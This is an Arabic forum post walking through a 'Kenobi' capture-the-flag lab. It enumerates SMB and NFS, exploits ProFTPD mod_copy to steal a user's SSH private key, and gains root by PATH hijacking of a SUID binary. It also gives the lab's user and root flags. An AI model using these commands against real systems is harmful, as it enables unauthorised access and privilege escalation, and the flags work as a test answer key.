B
Block user
زائر
السمعة:
بسم الله الرحمن الرحيم
Kenobi
السلام عليكم ورحمة الله وبركاته
هذي الروم مجانية
المصطلحات الرئيسية Key Terms
1. Enumeration:هي عملية البحث عن المعلومات حول الهدف مثل الخدمات و المنافذ باستخدام ادوات مثل nmap
2. Nmap:أداة قوية تستخدم لفحص الشبكات و المنافذ و الخدمات هنا شرح لل أخ 3b0-0d لل nmap
3. SSH Secure Shell:هو بروتوكول يسمح بالاتصال الأمن عن بعد في أجهزة Linux
4. NFS Network File System:نظام يسمح بمشاركة الملفات عبر الأنظمة المختلفة
سنغطي هنا
1. الفحص والاستكشاف (Enumeration)
2. استغلال NFS Network File System
3. استغلال SMB Samba
4. التصعيد إلى Root
اولا نبدا بفحص ال ip عن طريق nmap
كود:
nmap 127.0.0.1 -vv
نرى 7 بورتات
س| افحص الجهاز عن طريق ال nmap كم منفذ مفتوح ؟
ج|
7
Enumerating Samba for shares
ماهوا samba ؟
samba هو مجموعة من البرامج التي تتيح التوافق بين انظمة Windows وLinux/Unix
مما يسمح للمستخدمين بالوصول إلى الملفات و الطابعات و الموارد الأخرى المشتركة على الشبكة
يعتمد samba على بروتوكول smb Server Message Block, وهو بروتوكول تم تطويره أساسا لأنظمة Windows لمشاركة الملفات الخ عبر الشبكة
من دون هذا الحلو لن تتمكن أنظمة Linux/unix من التواصل مع Windows حتى لو كانت في نفس الشبكة
يمكننا أستخدام nmap لفحص المنافذ المفتوحة والخدمات المرتبطة ب smb
نستطيع ان نستخدم الأمر التالي لاكتشاف المجلدات المشتركة (shares)
كود:
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 127.0.0.1
س|أستخدم ال nmap بالامر الموضح اعلاه كم عدد ال shares وجدت ؟
ج|
3
في أغلب توزيعات لينكس smbclient تكون محملة, عن طريق الأمر ادناه يمكننا ان نتصل باستخدام SMB client
كود:
smbclient //127.0.0.1/anonymous
طبعا حنا راح نتصل ب user anonymous مياحتاج باسورد فقط اضغط Enter
س|عند الأتصال اعرض الملفات ماهو الملف الذي يمكنك رؤيته ؟
ج|
log.txt
تحميل الملفات من SMB باستخدام smbget
عن طريق الأمر التالي
كود:
smbget -R smb://127.0.0.1/anonymous
كود:
get اسم الملف
س|ما هو المنفذ الذي يعمل عليه FTP؟
ج|
21
في فحصنا السابق عن طريق nmap اظهر أن المنفذ 111 يقوم بتشغيل خدمة rpcbind هذي الخدمة تستخدم (RPC) بمعنى remote procedure call
RPC يسمح للنظام بالوصول الى خدمات الشبكة عن بعد, ويستخدم في أنظمة الملفات الشبكية (NFS) Network File System
يمكن استغلاله للحصول على نقاط التحميل (Mount Points) التي يمكن أن تكشف عن مجلدات مشتركة
فحص ال NFS عبر NMAP
نستخدم ال nmap معا سكربت لفحص خدمات NFS
كود:
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 127.0.0.1
س| ما هو mount الذي يمكننا رؤيته؟
ج|
/var
Gain initial access with ProFtpd
ماهو ProFTPD
هو خادم FTP مفتوح المصدر متوافق مع أنظمة UNIX و Windows يتم استخدامة لنقل الملفات عبر FTP
ومع ذلك فقد عانت بعض الاصدارات السابقة من ثغرات أمنية خطيره
الان نبي نعرف اصدار ProFTPD يمكننا استخدام الجميل netcat لنتصل بخادم FTp والحصول على معلومات حول الاصدار عن طريق الأمر ادناه
كود:
nc 127.0.0.1 21
ج|
1.3.5
كود:
searchsploit proftpd 1.3.5
س| كم عدد الاستغلالات الموجوده ل ProFTPd
ج|
4
أستغلال ثغرة mod_copy
هي وحدة Module داخل ProFTPD تسمح بنسخ الملفات و المجلدات داخل الخادم
كود:
SITE CPFR /المسار_القديم → تحديد الملف المراد نسخه
SITE CPTO /المسار_الجديد → تحديد المكان الجديد لحفظ الملف
يمكننا بهذي الأوامر لاستخراج ملفات مهمه بدون مصادقة
طبعا حنا عندنا علم بوجود /var
في حالتنا سنتستخدم هذي الأوامر ادناه
كود:
nc 127.0.0.1 21
كود:
SITE CPFR /home/kenobi/.ssh/id_rsa
كود:
SITE CPTO /var/tmp/id_rsa
كود:
mkdir /mnt/kenobiNFS → إنشاء مجلد محلي لتحميل البيانات المشتركة فيه
mount 127.0.0.1:/var /mnt/kenobiNFS → ربط المجلد من الخادم إلى النظام المحلي
ls -la /mnt/kenobiNFS → عرض الملفات داخل المجلد المشترك، حيث يجب أن نجد مفتاح SSH (id_rsa).
ننسخ الملف ولاتنسى ال .
كود:
cp /mnt/kenobiNFS/tmp/id_rsa .
نغير أذونات المفتاح ليكون قابلا للاستخدام
كود:
sudo chmod 600 /mnt/kenobiNFS/id_rsa
كود:
ssh -i /mnt/kenobiNFS/id_rsa [email protected]
س| (/home/kenobi/user.txt) ما هو علم المستخدم الخاص ب Kenobi
ج|
d0b0f3f53b6caa532a83915e19224899
Privilege Escalation with Path Variable Manipulation
ماهي ال SUID, SGID, و Sticky Bits
هذي مزايا خاصة في صلاحيات الملفات على نظام Linux وتؤثر على كيفية تنفيذ الملفات و المجلدات
جدول يوضح بين هذه الاوضاع الثلاث
الإذن | على الملفات | على المجلدات |
---|---|---|
SUID (Set User ID) | عند تشغيل الملف، يتم تنفيذه بصلاحيات مالك الملف وليس بصلاحيات المستخدم الذي قام بتشغيله | ![]() |
SGID (Set Group ID) | يتم تشغيل الملف بصلاحيات المجموعة المالكة للملف | أي ملف جديد داخل المجلد يرث نفس مجموعة المجلد بدلاً من مجموعة المستخدم |
Sticky Bit | ![]() | يمنع المستخدمين من حذف الملفات التي لا يملكونها داخل المجلد (غالبًا يُستخدم في tmp) |
لماذا يمكن أن يكون suid خطيرا
بعض الملفات يجب أن تمتلك SUID لكي تعمل بشكل صحيح مثل passwd
ولكن اذا كان في ملف مخصص يحتوي على SUID ممكن يكون خطيرا
لأن ممكن أن يمنح المستخدم العادي صلاحيات root عند تشغيله
و يمكن أستغلاله للحصول على shell محترم
يمككنا البحث عن جميع الملفات التي تحتوي على suid في النظام باستخدام اداة LinEnum او باستخدام الامر ادناه
كود:
find / -perm -u=s -type f 2>/dev/null
كود:
find / → البحث في جميع النظام
perm -u=s → البحث عن الملفات التي تحتوي على بت SUID مفعّل
type f → البحث عن الملفات فقط وليس المجلدات
2>/dev/null → إخفاء الأخطاء الناتجة عن الملفات غير القابلة للوصول
س|ما هو الملف الذي يبدو غير عادي؟
ج|
/usr/bin/menu
نذهب الى usr/bin
ونشغل ال menu
كود:
./menu
س|كم عدد الخيارات التي تظهر عند تشغيل الملف؟
ج|
3
أستخراج النصوص باستخدام strings
هو أمر يستخرج النصوص القابلة للقراءة
كود:
strings /usr/bin/menu
طيب نشوف ان الملف هذا يعمل بامتيازات ال root نقدر نتلاعب بالمسار للحصول root shell
يمكننا القيام بذلك عن طريق نسخ bin/sh الى ملف جديد يسمى curl بعدها نعدل الاذونات للملف لجعلة قابلا للقراءة و الكتابة و التنفيذ من قبل اي مستخدم.. نقوم باضافة الملف الجديد curl الى متغير path للنظام بحيث يتم تشغيلة بدلا من curl الاصلي لما نستدعيه من قبل البرنامج الذي يعمل بصلاحيات ال root ..... أتمنى قدرت اشرح لك هذي الجزئية تمام
كود:
cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
الان لما نشغل ملف ال menu سيستخدم متغير PATH الخاص فينا للبحث عن الملف curl الي سوياناه .... والي هو بالحقيقة نسخة من usr/sh مما يؤدي الى تشغيل هذا الملف بصلاحيات ال root
س|
What is the root flag (/root/root.txt)?
ج|
177b3cd8562289f37382721c28381f02
أتمنى ان اكون وفقت في الشرح وبالتوفيق جميعا
المرفقات
التعديل الأخير بواسطة المشرف: